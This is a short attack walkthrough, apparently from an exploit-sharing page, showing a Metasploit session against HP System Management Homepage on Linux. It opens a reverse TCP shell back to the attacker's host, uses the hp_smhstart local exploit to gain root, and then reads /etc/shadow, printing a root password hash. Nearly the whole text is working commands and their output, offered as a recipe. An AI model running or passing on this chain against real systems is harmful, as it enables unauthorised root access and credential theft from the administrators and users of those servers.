Hp system management root local exploit

after getting a shell with hp_system_management exploit, use exploit/linux/local/hp_smhstart to get root.
The exploit only work with shell (no meterpreter)
    
    msf exploit(hp_system_management) > set payload linux/x86/shell_reverse_tcp
    payload => linux/x86/shell_reverse_tcp
    msf exploit(hp_system_management) > exploit
    
    [*] Started reverse handler on 192.168.79.67:4444 
    [*] 192.168.79.6:2381 - Sending exploit...
    [*] Command shell session 6 opened (192.168.79.67:4444 -> 192.168.79.6:44817) at Tue Apr 02 13:22:53 +0200 2013
    
    id
    uid=500(hpsmh) gid=500(hpsmh) groups=500(hpsmh) context=system_u:system_r:initrc_t:s0
    ^Z
    Background session 6? [y/N]  y
    msf exploit(hp_system_management) > use exploit/linux/local/hp_smhstart 
    msf exploit(hp_smhstart) > exploit
    
    [-] Exploit failed: Msf::OptionValidateError The following options failed to validate: SESSION.
    msf exploit(hp_smhstart) > set SESSION 6
    SESSION => 6
    msf exploit(hp_smhstart) > exploit
    
    [*] Started reverse handler on 192.168.79.67:4445 
    [*] Transmitting intermediate stager for over-sized stage...(100 bytes)
    [*] Sending stage (1126400 bytes) to 192.168.79.6
    [*] Meterpreter session 7 opened (192.168.79.67:4445 -> 192.168.79.6:56526) at Tue Apr 02 13:23:39 +0200 2013
    [-] Exploit failed [timeout-expired]: Timeout::Error execution expired
    
    meterpreter > id
    [-] Unknown command: id.
    meterpreter > getuid
    Server username: uid=0, gid=500, euid=0, egid=500, suid=0, sgid=500
    meterpreter > shell
    Process 1456 created.
    Channel 1 created.
    sh: no job control in this shell
    sh-4.1# cat /etc/shadow
    root:$6$kh495XSzo3bAXDOp$sCNv8CmpVDL.E.Lpm1ru/HG19j3SZI5XVbNvJVYRND8/Odv91dX6Y2lNcC35W2kllwLBc21LFijB66bNYqYmP1:15166:0:99999:7:::
    sh-4.1#